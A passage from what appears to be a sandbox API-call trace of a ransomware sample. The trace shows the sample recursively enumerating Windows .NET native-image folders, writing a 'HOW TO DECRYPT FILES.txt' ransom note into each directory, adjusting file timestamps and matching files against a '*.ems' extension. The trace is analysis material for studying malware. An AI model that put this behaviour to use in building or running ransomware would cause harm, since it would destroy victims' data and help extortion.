(pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\*.*") returned="*.*" [0120.341] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\", lpString2="5529374166119d4622275f6a97e0d7f0" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0" [0120.341] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa197b1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa19a1350, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa19a1350, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.348] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.348] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa197b1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa19a1350, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa19a1350, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.348] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.348] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.348] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa197b1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa197b1f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa19a1350, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x9d000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Net.Http.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.348] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.348] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Net.Http.ni.dll") returned -1 [0120.348] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Net.Http.ni.dll") returned -1 [0120.348] lstrcmpiA (lpString1="", lpString2="System.Net.Http.ni.dll") returned -1 [0120.348] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\*.*") returned="*.*" [0120.348] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\" [0120.348] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\") returned="" [0120.348] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\HOW TO DECRYPT FILES.txt" [0120.349] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.net.http\\5529374166119d4622275f6a97e0d7f0\\how to decrypt files.txt")) returned 0xffffffff [0120.349] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.net.http\\5529374166119d4622275f6a97e0d7f0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.355] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.355] CloseHandle (hObject=0x90) returned 1 [0120.355] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\", lpString2="System.Net.Http.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\System.Net.Http.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\System.Net.Http.ni.dll" [0120.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\System.Net.Http.ni.dll", pszSpec="*.ems") returned 0 [0120.356] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa19a1350, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa19a1350, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa19a1350, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.Http.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.357] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.357] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Net.Http.ni.dll.aux") returned -1 [0120.357] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Net.Http.ni.dll.aux") returned -1 [0120.357] lstrcmpiA (lpString1="", lpString2="System.Net.Http.ni.dll.aux") returned -1 [0120.357] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\System.Net.Http.ni.dll") returned="System.Net.Http.ni.dll" [0120.357] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\" [0120.357] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\") returned="" [0120.357] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\HOW TO DECRYPT FILES.txt" [0120.357] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.net.http\\5529374166119d4622275f6a97e0d7f0\\how to decrypt files.txt")) returned 0x20 [0120.357] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\", lpString2="System.Net.Http.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\System.Net.Http.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\System.Net.Http.ni.dll.aux" [0120.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\5529374166119d4622275f6a97e0d7f0\\System.Net.Http.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.358] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa19a1350, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa19a1350, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa19a1350, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.Http.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.358] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.358] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa197b1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa19a1350, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa19a1350, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5529374166119d4622275f6a97e0d7f0", cAlternateFileName="552937~1")) returned 0 [0120.358] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.358] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5497d790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5497d790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5497d790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Numerics", cAlternateFileName="SYSTEM~1.NUM")) returned 1 [0120.358] lstrcmpA (lpString1=".", lpString2="System.Numerics") returned -1 [0120.358] lstrcmpA (lpString1="..", lpString2="System.Numerics") returned -1 [0120.358] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.358] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Numerics" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics" [0120.359] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5497d790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5497d790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5497d790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.360] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.360] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5497d790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5497d790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5497d790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.360] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.360] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.360] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5497d790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5497d790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5497d790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3aa74d59e41956ad20d38ea30b94e19f", cAlternateFileName="3AA74D~1")) returned 1 [0120.361] lstrcmpA (lpString1=".", lpString2="3aa74d59e41956ad20d38ea30b94e19f") returned -1 [0120.361] lstrcmpA (lpString1="..", lpString2="3aa74d59e41956ad20d38ea30b94e19f") returned -1 [0120.361] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\*.*") returned="*.*" [0120.361] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\", lpString2="3aa74d59e41956ad20d38ea30b94e19f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f" [0120.361] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5497d790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5497d790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5497d790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.361] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.361] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5497d790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5497d790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5497d790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.361] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.362] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.362] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5497d790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5497d790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x549a38f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4d800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Numerics.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.362] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.362] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Numerics.ni.dll") returned -1 [0120.362] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Numerics.ni.dll") returned -1 [0120.362] lstrcmpiA (lpString1="", lpString2="System.Numerics.ni.dll") returned -1 [0120.362] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\*.*") returned="*.*" [0120.362] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\" [0120.362] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\") returned="" [0120.362] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\HOW TO DECRYPT FILES.txt" [0120.362] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.numerics\\3aa74d59e41956ad20d38ea30b94e19f\\how to decrypt files.txt")) returned 0xffffffff [0120.362] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.numerics\\3aa74d59e41956ad20d38ea30b94e19f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.368] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.368] CloseHandle (hObject=0x90) returned 1 [0120.368] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\", lpString2="System.Numerics.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\System.Numerics.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\System.Numerics.ni.dll" [0120.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\System.Numerics.ni.dll", pszSpec="*.ems") returned 0 [0120.369] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5497d790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5497d790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5497d790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Numerics.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.369] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.369] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Numerics.ni.dll.aux") returned -1 [0120.369] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Numerics.ni.dll.aux") returned -1 [0120.369] lstrcmpiA (lpString1="", lpString2="System.Numerics.ni.dll.aux") returned -1 [0120.369] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\System.Numerics.ni.dll") returned="System.Numerics.ni.dll" [0120.369] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\" [0120.369] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\") returned="" [0120.369] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\HOW TO DECRYPT FILES.txt" [0120.369] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.numerics\\3aa74d59e41956ad20d38ea30b94e19f\\how to decrypt files.txt")) returned 0x20 [0120.369] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\", lpString2="System.Numerics.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\System.Numerics.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\System.Numerics.ni.dll.aux" [0120.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\3aa74d59e41956ad20d38ea30b94e19f\\System.Numerics.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.369] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5497d790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5497d790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5497d790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Numerics.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.370] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.370] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5497d790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5497d790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5497d790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3aa74d59e41956ad20d38ea30b94e19f", cAlternateFileName="3AA74D~1")) returned 0 [0120.370] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.370] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78585e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78585e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78585e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Printing", cAlternateFileName="SYSTEM~1.PRI")) returned 1 [0120.370] lstrcmpA (lpString1=".", lpString2="System.Printing") returned -1 [0120.370] lstrcmpA (lpString1="..", lpString2="System.Printing") returned -1 [0120.370] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.370] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Printing" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing" [0120.370] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Printing\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78585e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x78585e70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x78585e70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, 